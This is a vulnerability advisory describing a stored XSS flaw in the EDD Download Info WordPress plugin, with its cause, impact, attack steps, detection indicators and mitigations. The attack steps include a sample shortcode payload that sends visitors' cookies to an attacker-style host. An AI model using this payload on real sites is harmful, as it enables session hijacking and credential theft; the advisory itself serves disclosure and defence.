CVE-2025-14121: 
WordPress vulnerability analysis and mitigation

CVE-2025-14121 is a Stored Cross-Site Scripting (XSS) vulnerability in the EDD Download Info plugin for WordPress, affecting all versions up to and including 1.1. The flaw exists in the edd_download_info_link shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was disclosed on January 7, 2026, with Wordfence as the assigning CNA. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability resides in includes/shortcodes.php at line 43, where attributes passed to the edd_download_info_link shortcode are neither sanitized on input nor escaped on output before being rendered in the page HTML. An authenticated attacker with at least contributor-level access can embed a malicious JavaScript payload within the shortcode attributes; the script is then stored server-side and executes in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, or redirection of users to malicious sites. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact; however, the changed scope means the impact extends beyond the plugin itself to the broader WordPress site and its visitors (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.029%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain contributor access: Obtain or register a WordPress account with at least contributor-level privileges on a site running EDD Download Info version 1.1 or earlier.
2. Create or edit a post/page: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject malicious shortcode: Insert the edd_download_info_link shortcode with a crafted attribute containing a JavaScript payload, for example: [edd_download_info_link id="1" link_text="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Save and publish the post or page so the malicious shortcode is stored in the database.
5. Trigger execution: When any site visitor (including administrators) loads the injected page, the unsanitized attribute is rendered directly into the HTML, causing the browser to execute the injected script — enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing shortcode content with encoded JavaScript (e.g., <script>, javascript:, onerror=, onload=).
• Database: Suspicious entries in the wp_posts table containing edd_download_info_link shortcodes with unexpected or encoded script content in shortcode attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the edd_download_info_link shortcode, potentially carrying cookie or session data in query parameters.
• File System: No file-system artifacts are expected for this stored XSS; the payload resides in the WordPress database rather than on disk.

As of the disclosure date (January 7, 2026), no patched version of the EDD Download Info plugin was available — all versions through 1.1 are affected (Wordfence). Recommended immediate actions include: (1) deactivating and removing the EDD Download Info plugin until a patched version is released; (2) restricting contributor-level registration and post publishing capabilities on affected sites; and (3) monitoring the WordPress plugin repository and Wordfence advisories for an updated release that implements proper sanitize_text_field() / esc_attr() handling on shortcode attributes.

Wordfence included CVE-2025-14121 in its weekly WordPress vulnerability report for January 5–11, 2026, noting the stored XSS risk for sites with contributor-level user registration enabled (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified.